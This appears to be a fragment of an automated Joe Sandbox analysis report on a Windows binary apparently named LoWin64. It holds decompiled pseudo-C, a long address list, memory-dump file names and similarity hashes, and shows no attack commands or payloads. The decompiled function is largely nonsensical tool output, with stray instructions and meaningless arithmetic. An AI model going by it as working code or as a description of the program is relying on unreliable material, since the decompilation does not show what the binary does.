				__rax = 0x892a61b1fffffffd;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags >= 0x00000000;
				 *0xb1decf60 = 0x50;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca84e8;
				__rax = 0x892a61b1fffffffd;
				__ecx = r15d;
				__eflags = 0x50 - 0x6c;
				__ecx = r15d & 0xffffff00 | 0x00000050 != 0x0000006c;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8513;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x18;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				__eax = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca8528;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x19;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				__rbx = 0x3e;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				__al = __al + bpl;
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				__eax = __eax & r14d;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				__rax = 0x892a61b1fffffffd;
				__eflags = 0x50 - 0x3b;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				__eflags = 0x3e - 0x49;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				__eax = E00007FF67FF6B1D3ACF4(0x892a61b1fffffffd);
				__eax = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca856a;
				__rax = 0x892a61b1fffffffd;
				asm("movaps xmm6, [esp+0x30]");
				__eflags = 0x892a61b1fffffffd - 0x19;
				__rax = __rdi;
				r15b = 0x892a61b1fffffffd - 0x19 > 0;
				__eflags = r15b;
				 *0xb1decf60 = r15d;
				__rsp = 0x93339e800000075;
				_pop(__r14);
				_pop(__r12);
				_pop(__rdi);
				_pop(__rsi);
				_pop(__rbp);
				_pop(__rbx);
				return __eax;
			}

0x7ff6b1ca76f2
0x7ff6b1ca76f7
0x7ff6b1ca76f9
0x7ff6b1ca770d
0x7ff6b1ca770f
0x7ff6b1ca7711
0x7ff6b1ca7716
0x7ff6b1ca771b
0x7ff6b1ca7729
0x7ff6b1ca772b
0x7ff6b1ca7730
0x7ff6b1ca7732
0x7ff6b1ca773d
0x7ff6b1ca7740
0x7ff6b1ca7746
0x7ff6b1ca774b
0x7ff6b1ca774d
0x7ff6b1ca7758
0x7ff6b1ca775a
0x7ff6b1ca775c
0x7ff6b1ca7761
0x7ff6b1ca7763
0x7ff6b1ca776e
0x7ff6b1ca7777
0x7ff6b1ca7779
0x7ff6b1ca777e
0x7ff6b1ca7780
0x7ff6b1ca778b
0x7ff6b1ca7790
0x7ff6b1ca7792
0x7ff6b1ca77a6
0x7ff6b1ca77ac
0x7ff6b1ca77b3
0x7ff6b1ca77c7
0x7ff6b1ca77d6
0x7ff6b1ca77de
0x7ff6b1ca77e9
0x7ff6b1ca77f0
0x7ff6b1ca77fb
0x7ff6b1ca7801
0x7ff6b1ca7807
0x7ff6b1ca780f
0x7ff6b1ca7815
0x7ff6b1ca782f
0x7ff6b1ca7831
0x7ff6b1ca7838
0x7ff6b1ca7846
0x7ff6b1ca7848
0x7ff6b1ca784f
0x7ff6b1ca7863
0x7ff6b1ca7872
0x7ff6b1ca7874
0x7ff6b1ca7875
0x7ff6b1ca7877
0x7ff6b1ca787d
0x7ff6b1ca7880
0x7ff6b1ca7886
0x7ff6b1ca7888
0x7ff6b1ca788b
0x7ff6b1ca788d
0x7ff6b1ca7896
0x7ff6b1ca7899
0x7ff6b1ca789f
0x7ff6b1ca78a2
0x7ff6b1ca78a8
0x7ff6b1ca78ad
0x7ff6b1ca78b2
0x7ff6b1ca78b4
0x7ff6b1ca78b7
0x7ff6b1ca78ba
0x7ff6b1ca78bd
0x7ff6b1ca78c0
0x7ff6b1ca78c2
0x7ff6b1ca78c5
0x7ff6b1ca78cb
0x7ff6b1ca78d0
0x7ff6b1ca78d5
0x7ff6b1ca78d7
0x7ff6b1ca78da
0x7ff6b1ca78dd
0x7ff6b1ca78e0
0x7ff6b1ca78e3
0x7ff6b1ca78e5
0x7ff6b1ca78ec
0x7ff6b1ca78f3
0x7ff6b1ca78fc
0x7ff6b1ca7902
0x7ff6b1ca7907
0x7ff6b1ca790d
0x7ff6b1ca790f
0x7ff6b1ca7912
0x7ff6b1ca7914
0x7ff6b1ca7917
0x7ff6b1ca791d
0x7ff6b1ca7922
0x7ff6b1ca7925
0x7ff6b1ca7927
0x7ff6b1ca792a
0x7ff6b1ca792d
0x7ff6b1ca7930
0x7ff6b1ca7933
0x7ff6b1ca7935
0x7ff6b1ca793e
0x7ff6b1ca7941
0x7ff6b1ca7942
0x7ff6b1ca7944
0x7ff6b1ca7947
0x7ff6b1ca794a
0x7ff6b1ca794a
0x7ff6b1ca794d
0x7ff6b1ca7956
0x7ff6b1ca7958
0x7ff6b1ca795b
0x7ff6b1ca7961
0x7ff6b1ca7966
0x7ff6b1ca7966
0x7ff6b1ca7969
0x7ff6b1ca796b
0x7ff6b1ca796e
0x7ff6b1ca7971
0x7ff6b1ca7974
0x7ff6b1ca7976
0x7ff6b1ca7978
0x7ff6b1ca7981
0x7ff6b1ca7987
0x7ff6b1ca798a
0x7ff6b1ca798c
0x7ff6b1ca798f
0x7ff6b1ca7991
0x7ff6b1ca7994
0x7ff6b1ca799a
0x7ff6b1ca799d
0x7ff6b1ca79a3
0x7ff6b1ca79a9
0x7ff6b1ca79ac
0x7ff6b1ca79af
0x7ff6b1ca79b1
0x7ff6b1ca79ba
0x7ff6b1ca79bd
0x7ff6b1ca79be
0x7ff6b1ca79c0
0x7ff6b1ca79c3
0x7ff6b1ca79c5
0x7ff6b1ca79c8
0x7ff6b1ca79ce
0x7ff6b1ca79d0
0x7ff6b1ca79d3
0x7ff6b1ca79d5
0x7ff6b1ca79d8
0x7ff6b1ca79de
0x7ff6b1ca79e3
0x7ff6b1ca79e3
0x7ff6b1ca79e8
0x7ff6b1ca79ea
0x7ff6b1ca79ed
0x7ff6b1ca79ef
0x7ff6b1ca79f2
0x7ff6b1ca79f5
0x7ff6b1ca79f7
0x7ff6b1ca79fc
0x7ff6b1ca7a03
0x7ff6b1ca7a06
0x7ff6b1ca7a0c
0x7ff6b1ca7a0e
0x7ff6b1ca7a11
0x7ff6b1ca7a13
0x7ff6b1ca7a19
0x7ff6b1ca7a1e
0x7ff6b1ca7a27
0x7ff6b1ca7a28
0x7ff6b1ca7a2c
0x7ff6b1ca7a32
0x7ff6b1ca7a37
0x7ff6b1ca7a39
0x7ff6b1ca7a3b
0x7ff6b1ca7a3d
0x7ff6b1ca7a3f
0x7ff6b1ca7a41
0x7ff6b1ca7a44
0x7ff6b1ca7a46
0x7ff6b1ca7a4b
0x7ff6b1ca7a4d
0x7ff6b1ca7a4f
0x7ff6b1ca7a51
0x7ff6b1ca7a53
0x7ff6b1ca7a55
0x7ff6b1ca7a57
0x7ff6b1ca7a5a
0x7ff6b1ca7a5c
0x7ff6b1ca7a65
0x7ff6b1ca7a65
0x7ff6b1ca7a67
0x7ff6b1ca7a6e
0x7ff6b1ca7a76
0x7ff6b1ca7a7c
0x7ff6b1ca7a82
0x7ff6b1ca7a84
0x7ff6b1ca7a8a
0x7ff6b1ca7a8c
0x7ff6b1ca7a92
0x7ff6b1ca7a94
0x7ff6b1ca7a9a
0x7ff6b1ca7a9c
0x7ff6b1ca7aa6
0x7ff6b1ca7aac
0x7ff6b1ca7ab5
0x7ff6b1ca7ab6
0x7ff6b1ca7ab7
0x7ff6b1ca7ab9
0x7ff6b1ca7abe
0x7ff6b1ca7ac0
0x7ff6b1ca7ac2
0x7ff6b1ca7ac4
0x7ff6b1ca7ac6
0x7ff6b1ca7ac8
0x7ff6b1ca7acb
0x7ff6b1ca7acd
0x7ff6b1ca7ad0
0x7ff6b1ca7ad2
0x7ff6b1ca7adb
0x7ff6b1ca7add
0x7ff6b1ca7adf
0x7ff6b1ca7ae0
0x7ff6b1ca7ae2
0x7ff6b1ca7ae4
0x7ff6b1ca7ae6
0x7ff6b1ca7ae9
0x7ff6b1ca7aeb
0x7ff6b1ca7af0
0x7ff6b1ca7af2
0x7ff6b1ca7af4
0x7ff6b1ca7af6
0x7ff6b1ca7af8
0x7ff6b1ca7afa
0x7ff6b1ca7afd
0x7ff6b1ca7aff
0x7ff6b1ca7b04
0x7ff6b1ca7b06
0x7ff6b1ca7b08
0x7ff6b1ca7b0a
0x7ff6b1ca7b0c
0x7ff6b1ca7b0e
0x7ff6b1ca7b11
0x7ff6b1ca7b14
0x7ff6b1ca7b17
0x7ff6b1ca7b1d
0x7ff6b1ca7b1f
0x7ff6b1ca7b25
0x7ff6b1ca7b2b
0x7ff6b1ca7b2d
0x7ff6b1ca7b33
0x7ff6b1ca7b36
0x7ff6b1ca7b38
0x7ff6b1ca7b42
0x7ff6b1ca7b4b
0x7ff6b1ca7b4d
0x7ff6b1ca7b4f
0x7ff6b1ca7b52
0x7ff6b1ca7b5a
0x7ff6b1ca7b5f
0x7ff6b1ca7b61
0x7ff6b1ca7b65
0x7ff6b1ca7b67
0x7ff6b1ca7b69
0x7ff6b1ca7b71
0x7ff6b1ca7b75
0x7ff6b1ca7b79
0x7ff6b1ca7b7d
0x7ff6b1ca7b7f
0x7ff6b1ca7b84
0x7ff6b1ca7b86
0x7ff6b1ca7b8a
0x7ff6b1ca7b8c
0x7ff6b1ca7b8e
0x7ff6b1ca7b91
0x7ff6b1ca7b93
0x7ff6b1ca7b98
0x7ff6b1ca7b9a
0x7ff6b1ca7b9e
0x7ff6b1ca7ba0
0x7ff6b1ca7ba2
0x7ff6b1ca7ba5
0x7ff6b1ca7ba8
0x7ff6b1ca7bab
0x7ff6b1ca7bb1
0x7ff6b1ca7bb3
0x7ff6b1ca7bb8
0x7ff6b1ca7bba
0x7ff6b1ca7bbe
0x7ff6b1ca7bc0
0x7ff6b1ca7bc2
0x7ff6b1ca7bc4
0x7ff6b1ca7bc6
0x7ff6b1ca7bcc
0x7ff6b1ca7bd2
0x7ff6b1ca7bd7
0x7ff6b1ca7bd9
0x7ff6b1ca7bdd
0x7ff6b1ca7bdf
0x7ff6b1ca7be1
0x7ff6b1ca7be9
0x7ff6b1ca7bed
0x7ff6b1ca7bf1
0x7ff6b1ca7bf5
0x7ff6b1ca7bfb
0x7ff6b1ca7c00
0x7ff6b1ca7c02
0x7ff6b1ca7c06
0x7ff6b1ca7c08
0x7ff6b1ca7c0a
0x7ff6b1ca7c0d
0x7ff6b1ca7c13
0x7ff6b1ca7c18
0x7ff6b1ca7c1a
0x7ff6b1ca7c1e
0x7ff6b1ca7c20
0x7ff6b1ca7c22
0x7ff6b1ca7c25
0x7ff6b1ca7c27
0x7ff6b1ca7c2c
0x7ff6b1ca7c2e
0x7ff6b1ca7c32
0x7ff6b1ca7c34
0x7ff6b1ca7c36
0x7ff6b1ca7c39
0x7ff6b1ca7c3b
0x7ff6b1ca7c40
0x7ff6b1ca7c42
0x7ff6b1ca7c46
0x7ff6b1ca7c48
0x7ff6b1ca7c4a
0x7ff6b1ca7c50
0x7ff6b1ca7c53
0x7ff6b1ca7c55
0x7ff6b1ca7c5a
0x7ff6b1ca7c5c
0x7ff6b1ca7c60
0x7ff6b1ca7c62
0x7ff6b1ca7c64
0x7ff6b1ca7c67
0x7ff6b1ca7c69
0x7ff6b1ca7c6e
0x7ff6b1ca7c6e
0x7ff6b1ca7c70
0x7ff6b1ca7c74
0x7ff6b1ca7c76
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c90
0x7ff6b1ca7c95
0x7ff6b1ca7c97
0x7ff6b1ca7c9b
0x7ff6b1ca7c9d
0x7ff6b1ca7c9f
0x7ff6b1ca7ca5
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7cca
0x7ff6b1ca7ccc
0x7ff6b1ca7cd0
0x7ff6b1ca7cd2
0x7ff6b1ca7cd4
0x7ff6b1ca7cd7
0x7ff6b1ca7cda
0x7ff6b1ca7cdd
0x7ff6b1ca7ce8
0x7ff6b1ca7ceb
0x7ff6b1ca7cf1
0x7ff6b1ca7cf3
0x7ff6b1ca7cf7
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d02
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d15
0x7ff6b1ca7d15
0x7ff6b1ca7d17
0x7ff6b1ca7d1b
0x7ff6b1ca7d1d
0x7ff6b1ca7d1f
0x7ff6b1ca7d22
0x7ff6b1ca7d24
0x7ff6b1ca7d29
0x7ff6b1ca7d29
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d34
0x7ff6b1ca7d37
0x7ff6b1ca7d39
0x7ff6b1ca7d3e
0x7ff6b1ca7d3e
0x7ff6b1ca7d41
0x7ff6b1ca7d47
0x7ff6b1ca7d49
0x7ff6b1ca7d4c
0x7ff6b1ca7d4f
0x7ff6b1ca7d52
0x7ff6b1ca7d58
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6f
0x7ff6b1ca7d72
0x7ff6b1ca7d76
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d95
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da0
0x7ff6b1ca7da3
0x7ff6b1ca7da5
0x7ff6b1ca7da7
0x7ff6b1ca7db2
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc1
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcc
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7ddf
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df2
0x7ff6b1ca7df5
0x7ff6b1ca7df7
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e15
0x7ff6b1ca7e1a
0x7ff6b1ca7e1a
0x7ff6b1ca7e1d
0x7ff6b1ca7e23
0x7ff6b1ca7e25
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e48
0x7ff6b1ca7e4b
0x7ff6b1ca7e51
0x7ff6b1ca7e53
0x7ff6b1ca7e56
0x7ff6b1ca7e59
0x7ff6b1ca7e5c
0x7ff6b1ca7e67
0x7ff6b1ca7e6a
0x7ff6b1ca7e70
0x7ff6b1ca7e72
0x7ff6b1ca7e76
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e81
0x7ff6b1ca7e84
0x7ff6b1ca7e8f
0x7ff6b1ca7e92
0x7ff6b1ca7e98
0x7ff6b1ca7e9a
0x7ff6b1ca7e9d
0x7ff6b1ca7ea0
0x7ff6b1ca7ea3
0x7ff6b1ca7ea9
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb6
0x7ff6b1ca7eb9
0x7ff6b1ca7ec0
0x7ff6b1ca7ec3
0x7ff6b1ca7ec7
0x7ff6b1ca7ec9
0x7ff6b1ca7ecb
0x7ff6b1ca7ece
0x7ff6b1ca7ed5
0x7ff6b1ca7ed8
0x7ff6b1ca7ede
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7ee5
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7efc
0x7ff6b1ca7eff
0x7ff6b1ca7f03
0x7ff6b1ca7f05
0x7ff6b1ca7f07
0x7ff6b1ca7f0a
0x7ff6b1ca7f0d
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f20
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2b
0x7ff6b1ca7f2e
0x7ff6b1ca7f34
0x7ff6b1ca7f39
0x7ff6b1ca7f39
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f44
0x7ff6b1ca7f47
0x7ff6b1ca7f49
0x7ff6b1ca7f4e
0x7ff6b1ca7f4e
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f59
0x7ff6b1ca7f5c
0x7ff6b1ca7f5e
0x7ff6b1ca7f60
0x7ff6b1ca7f66
0x7ff6b1ca7f6b
0x7ff6b1ca7f6b
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f76
0x7ff6b1ca7f7c
0x7ff6b1ca7f7f
0x7ff6b1ca7f89
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f94
0x7ff6b1ca7f97
0x7ff6b1ca7f99
0x7ff6b1ca7f9e
0x7ff6b1ca7f9e
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fa9
0x7ff6b1ca7fac
0x7ff6b1ca7fb7
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fdc
0x7ff6b1ca7fe1
0x7ff6b1ca7fe1
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fec
0x7ff6b1ca7fef
0x7ff6b1ca7ff5
0x7ff6b1ca7ffa
0x7ff6b1ca7ffa
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8005
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8010
0x7ff6b1ca8015
0x7ff6b1ca8015
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8020
0x7ff6b1ca8023
0x7ff6b1ca8026
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca8036
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806f
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807a
0x7ff6b1ca807d
0x7ff6b1ca8080
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8095
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a4
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80af
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c6
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80d1
0x7ff6b1ca80d7
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80ec
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca8101
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca810c
0x7ff6b1ca810f
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca811d
0x7ff6b1ca8122
0x7ff6b1ca8122
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca812d
0x7ff6b1ca8130
0x7ff6b1ca8132
0x7ff6b1ca8137
0x7ff6b1ca8137
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8142
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815a
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8175
0x7ff6b1ca817c
0x7ff6b1ca8184
0x7ff6b1ca8189
0x7ff6b1ca818b
0x7ff6b1ca818d
0x7ff6b1ca818d
0x7ff6b1ca8190
0x7ff6b1ca8195
0x7ff6b1ca8199
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81b6
0x7ff6b1ca81bf
0x7ff6b1ca81c0
0x7ff6b1ca81c2
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d8
0x7ff6b1ca81db
0x7ff6b1ca81dd
0x7ff6b1ca81df
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81f1
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca8203
0x7ff6b1ca8206
0x7ff6b1ca8208
0x7ff6b1ca820a
0x7ff6b1ca820c
0x7ff6b1ca820e
0x7ff6b1ca8211
0x7ff6b1ca8213
0x7ff6b1ca8216
0x7ff6b1ca821d
0x7ff6b1ca8220
0x7ff6b1ca8222
0x7ff6b1ca8224
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822c
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca8237
0x7ff6b1ca823a
0x7ff6b1ca8240
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8269
0x7ff6b1ca826c
0x7ff6b1ca826e
0x7ff6b1ca8270
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca8284
0x7ff6b1ca8287
0x7ff6b1ca8289
0x7ff6b1ca828b
0x7ff6b1ca828d
0x7ff6b1ca828f
0x7ff6b1ca8292
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82a5
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c2
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82eb
0x7ff6b1ca82f4
0x7ff6b1ca82f9
0x7ff6b1ca82f9
0x7ff6b1ca82fb
0x7ff6b1ca82fd
0x7ff6b1ca8300
0x7ff6b1ca8302
0x7ff6b1ca8304
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca8318
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca8323
0x7ff6b1ca8328
0x7ff6b1ca8328
0x7ff6b1ca832b
0x7ff6b1ca832d
0x7ff6b1ca832f
0x7ff6b1ca8331
0x7ff6b1ca8333
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca8341
0x7ff6b1ca834a
0x7ff6b1ca834e
0x7ff6b1ca8353
0x7ff6b1ca8353
0x7ff6b1ca8356
0x7ff6b1ca8358
0x7ff6b1ca835a
0x7ff6b1ca835c
0x7ff6b1ca835e
0x7ff6b1ca8361
0x7ff6b1ca8363
0x7ff6b1ca8366
0x7ff6b1ca836d
0x7ff6b1ca8370
0x7ff6b1ca8372
0x7ff6b1ca8374
0x7ff6b1ca8376
0x7ff6b1ca8378
0x7ff6b1ca837b
0x7ff6b1ca837e
0x7ff6b1ca8381
0x7ff6b1ca838c
0x7ff6b1ca838f
0x7ff6b1ca8391
0x7ff6b1ca8393
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca83a1
0x7ff6b1ca83a4
0x7ff6b1ca83a6
0x7ff6b1ca83a8
0x7ff6b1ca83aa
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83bc
0x7ff6b1ca83bf
0x7ff6b1ca83c1
0x7ff6b1ca83c3
0x7ff6b1ca83c5
0x7ff6b1ca83c7
0x7ff6b1ca83ca
0x7ff6b1ca83cd
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83e6
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8410
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca841e
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842b
0x7ff6b1ca842e
0x7ff6b1ca8435
0x7ff6b1ca8438
0x7ff6b1ca843c
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca845b
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8466
0x7ff6b1ca8469
0x7ff6b1ca847a
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca8485
0x7ff6b1ca8488
0x7ff6b1ca848b
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849d
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84b0
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84bf
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84ca
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84dd
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84e8
0x7ff6b1ca84eb
0x7ff6b1ca84ee
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8508
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8513
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca851d
0x7ff6b1ca8520
0x7ff6b1ca8526
0x7ff6b1ca8528
0x7ff6b1ca852b
0x7ff6b1ca852d
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca853f
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8545
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8550
0x7ff6b1ca8553
0x7ff6b1ca8555
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca855f
0x7ff6b1ca8562
0x7ff6b1ca8568
0x7ff6b1ca856a
0x7ff6b1ca856f
0x7ff6b1ca8572
0x7ff6b1ca8574
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca857f
0x7ff6b1ca8585
0x7ff6b1ca8589
0x7ff6b1ca858b
0x7ff6b1ca858c
0x7ff6b1ca858d
0x7ff6b1ca858e
0x7ff6b1ca858f

Strings

7, xrefs: 00007FF6B1CA79C8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: 732ec683e4a8df5c643848b0710ae0ab7b388840dd0a5804e1f472567bef798f
Instruction ID: e18d6d8473ddba7045aabd5aeb4448b333e3224b3d15d544c1807b3ef801aa15
